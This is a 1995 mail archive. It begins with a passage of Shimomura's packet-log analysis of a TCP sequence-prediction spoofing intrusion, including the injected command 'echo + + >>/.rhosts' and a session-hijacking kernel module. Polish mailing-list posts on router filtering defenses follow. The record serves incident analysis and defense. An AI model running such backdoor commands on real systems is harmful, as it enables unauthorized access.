x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0 Note that each SYN-ACK packet sent by x-terminal has an initial sequence number which is 128,000 greater than the previous one. ----- We now see a forged SYN (connection request), allegedly from server.login to x-terminal.shell. The assumption is that x-terminal probably trusts server, so x-terminal will do whatever server (or anything masquerading as server) asks. x-terminal then replies to server with a SYN-ACK, which must be ACK'd in order for the connection to be opened. As server is ignoring packets sent to server.login, the ACK must be forged as well. Normally, the sequence number from the SYN-ACK is required in order to generate a valid ACK. However, the attacker is able to predict the sequence number contained in the SYN-ACK based on the known behavior of x-terminal's TCP sequence number generator, and is thus able to ACK the SYN-ACK without seeing it: 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096 ----- The spoofing machine now has a one-way connection to x-terminal.shell which appears to be from server.login. It can maintain the connection and send data provided that it can properly ACK any data sent by x-terminal. It sends the following: 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 which corresponds to: 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" Total elapsed time since the first spoofed packet: < 16 seconds ----- The spoofed connection is now shut down: 14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096 ----- We now see RSTs to reset the "half-open" connections and empty the connection queue for server.login: 14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096 server.login can again accept connections. ----- After root access had been gained via IP address spoofing, a kernel module named "tap-2.01" was compiled and installed on x-terminal: x-terminal% modstat Id Type Loadaddr Size B-major C-major Sysnum Mod Name 1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha x-terminal% ls -l /dev/tap crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap This appears to be a kernel STREAMS module which can be pushed onto an existing STREAMS stack and used to take control of a tty device. It was used to take control of an already authenticated login session to target at about 14:51 PST. ----- Of course, no attack would be complete without the personal touch. Check out: ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au These are in Sun audio file format, 8-bit u-law, 8 khz sample rate. --- Tsutomu Shimomura tsutomu@ucsd.edu +1 619 534 5050 University of California at San Diego/San Diego Supercomputer Center, USA From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:00 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03809; Fri, 27 Jan 95 13:18:18 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14143 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:17:21 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 12:57:33 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3gan3d$n7b@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501262210.WAA10426@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : > > - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO), : > Tylko najnowszy. : No ladnie... a kto ma najnowsze? ;) Wydaje mi sie ,ze przez najnowsze nalezy po prostu rozumiec 10.0 lub wyzej. Ja mam 10.0 na glownych routerach, reszta jest 9 lub 8 - ale to powinno wystarczyc. Kazdy kto kupil Cisco w ciagu ostatnich 3 miesiecy ma prawdopodobnie 10.0 lub 10.2. Zreszta wcale nie jestem pewien, czy w 9.21 tez sie nie da uzyskac tego samego (niestety nie mam manuala pod reka). -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:09 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03812; Fri, 27 Jan 95 13:18:20 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14148 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:20:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 13:06:00 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3ganj8$og9@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501261406.PAA03661@mg.cyf-kr.edu.pl> Subject: Re: Wiecej o IP spoofing z dzisiejszej grupy comp.security.misc Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote: : Wczesnie skomentuje fragment listu Szymona : > Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze : > ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej : > maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. : > Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. : > Ale sie dowiem. : Poczawszy od wersji 9.21 Cisco umozliwia utworzenie filtru na adres : zrodlowy dla pakietu WCHODZACEGO do interfejsu. Nie rozwiazuje : sprawy filtr dla pakietow wychodzacych z interfejsu. Dla pelnej scislosci: w takich jak my (Cyfronet, AGH) duzych jednostkach. Jezeli ktos ma router 2-portowy typu np. Cisco 2501 albo IGS/R, tzn. cala lokalna siec wisi na jednym interfejsie Ethernetowym, to rownie dobrze mozna ustawic access-list dla pakietow WYCHODZACYCH z tego wlasnie interfejsu - access-list dla pakietow wchodzacych z zewnatrz na interfejsie zewnetrznym jest niezbedny, jesli router ma kilka interfejsow lokalnych i routuje takze miedzy nimi. "Rzekla rybka: dobrze to czasem byc i mala" (I.Krasicki) :-) -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 13:20:16 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03815; Fri, 27 Jan 95 13:18:22 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA14142 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 13:17:20 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 12:53:55 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3gamsj$mj1@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501262155.VAA10253@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : > Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi : > sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe. [to powyzej to ja] : Wg. spanikowanych adminow SUN'ow ma to wygkladac tak: : Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z : haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do : kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing : jako taki.... :) Ale nie bardzo widze roznice jakosciowa pomiedzy pluskwa dodana do kernela a inna (np. wsadzona do /lib/libc.a, albo do binariow telneta, albo gdziekolwiek). : > Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi : > o 'source routing' to wylaczenie go na routerze powinno byc trywialne : > (na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co? : Wlasnie toczy sie bardzo ciekawa dyskusja o CISCO na firewalls. Juz : pojawily sie glosy, ze to odciecie nie jest takie proste, bo odcinajace : polecenia nie umozliwiaja rozroznienia kierunku, z ktorego nadchodza : pakiety (nie mozesz wyspecyfikowac "IN" ani tez "OUT". Tym czasem lece : dalej obserwowac dyskusje na ten temat .... :) Wydaje mi sie, ze te "glosy" mijaja sie z prawda - patrz dokumentacja wersji 10 Cisco, str. 16-21 w "Routers Product Configuration Guide" ("Apply an Access List to an Interface or Terminal Line"). W skrocie, przy zalozeniu ze interfejs "zewnetrzny" to Serial 0, siec lokalna to 192.192.192.0: access-list 101 deny tcp 192.192.192.0 0.0.0.255 192.192.192.0 0.0.0.255 access-list 101 permit tcp 0.0.0.0 255.255.255.255 192.192.192.0 0.0.0.255 interface serial 0 ip access-group 101 in Logika jest taka: odrzuc wszystko co przychodzi ze zewnatrz, jezeli adres zarowno source jak destination lezy w obrebie naszej sieci; przepuszczaj cala reszte. Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby je napisac. Ale jestem optymista :-) -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:01 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06315; Fri, 27 Jan 95 14:18:18 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15097 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:19:09 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 13:17:33 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3garpd$99k@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > je napisac. Ale jestem optymista :-) --- A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) Wojtek From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:12 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06318; Fri, 27 Jan 95 14:18:20 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15103 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:21:07 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 13:12:48 GMT From: andy@eleet.mimuw.edu.pl (zki SP5ALQ) Message-Id: <3gargg$e0j@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : : > Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi : : > sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe. : [to powyzej to ja] : : Wg. spanikowanych adminow SUN'ow ma to wygkladac tak: : : Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z : : haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do : : kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing : : jako taki.... :) : Ale nie bardzo widze roznice jakosciowa pomiedzy pluskwa dodana do kernela : a inna (np. wsadzona do /lib/libc.a, albo do binariow telneta, albo : gdziekolwiek). Grozniej brzmi. Kernel! -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 14:20:22 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06321; Fri, 27 Jan 95 14:18:23 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA15102 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 14:21:07 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 13:07:50 GMT From: andy@eleet.mimuw.edu.pl (zki SP5ALQ) Message-Id: <3gar76$e0j@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501261904.TAA09070@hebe.umcs.lublin.pl> Subject: Bezpieczenstwo - szyfrowanie. Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Wydaje mi sie, ze kodowanie danych jest oczywiscie najlepsza metoda : (prawda Eminie? :)), tym bardzie, ze juz to testujemy jakis czas - : niestety jak dotad w dosc ograniczonej i prymitywnej implementacji : (jeszcze nie dziala poza swiatem KA9Q). Kilka dni temu Szymon Sokol : mowil mi, ze u nich tez pracuja nad czyms takim.... Samo zrobinie kodowania na poziomie IP jest trywialne. Gorzej z dobraniem odpowiedniej metody szyfrowania, ktora nie wymagajac zbyt wiele wysilku (w koncu ma to sie dziac na latajacych pakietach) dawala zadowalajace bezpieczenstwo. Inny problem to wymiana kluczy do szyfrowania przez kable podsluchiwane. Ale tu takze jest gotowa metoda (RSA), a w koncu kluczy nie zmienia sie codziennie, wiec mozna w to wlozyc nieco wysilku. : Poki co jednak wole : miec TCP Wrappers + Ident - bo to akurat jest dostepne "na rynku". :) Oraz KA9Q+ na logowania sie przez hm... niepewne linie. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 15:40:04 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09008; Fri, 27 Jan 95 15:38:17 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA16223 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 15:40:49 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 14:22:31 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3gavj7$50a@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501262155.VAA10253@hebe.umcs.lublin.pl>, <3gamsj$mj1@galaxy.uci.agh.edu.pl>, <3garpd$99k@sun1000.ci.pwr.wroc.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote: > Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > > je napisac. Ale jestem optymista :-) > A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) Nie. traceroute uzywa innej dziurki - source routing. Najprosciej wyslac pojedynczy SYN i zobaczyc czy tcpdump go zlapie. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From krzysio@hebe.umcs.lublin.pl Fri Jan 27 18:40:06 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11820; Fri, 27 Jan 95 18:37:04 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id RAA13787 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 17:43:52 GMT From: Krzysztof Mlynarski Message-Id: <199501271743.RAA13787@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Fri, 27 Jan 1995 18:43:51 +0100 (MET) In-Reply-To: <3garpd$99k@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 27, 95 02:23:38 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1284 Wojciech Myszka wrote: > > Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > > je napisac. Ale jestem optymista :-) > --- > A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) Czyzby chodzilo Ci o takie cosik?: -g Enable the IP LSRR (Loose Source Record Route) option in addition the TTL tests. This is useful for asking how somebody else, at addr, (either an IP address or a hostname) reaches a particular target. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 20:20:06 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13927; Fri, 27 Jan 95 20:18:14 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA20067 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 20:20:33 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 19:51:42 +0100 From: kompas@uci.agh.edu.pl (Piotr Piatkowski) Message-Id: <3gbfbu$il1@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Adres do Lupusa Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima. Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum, ale moze byc ktokolwiek z redakcji... Kaz -------------- Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 21:40:06 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15199; Fri, 27 Jan 95 21:38:13 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl 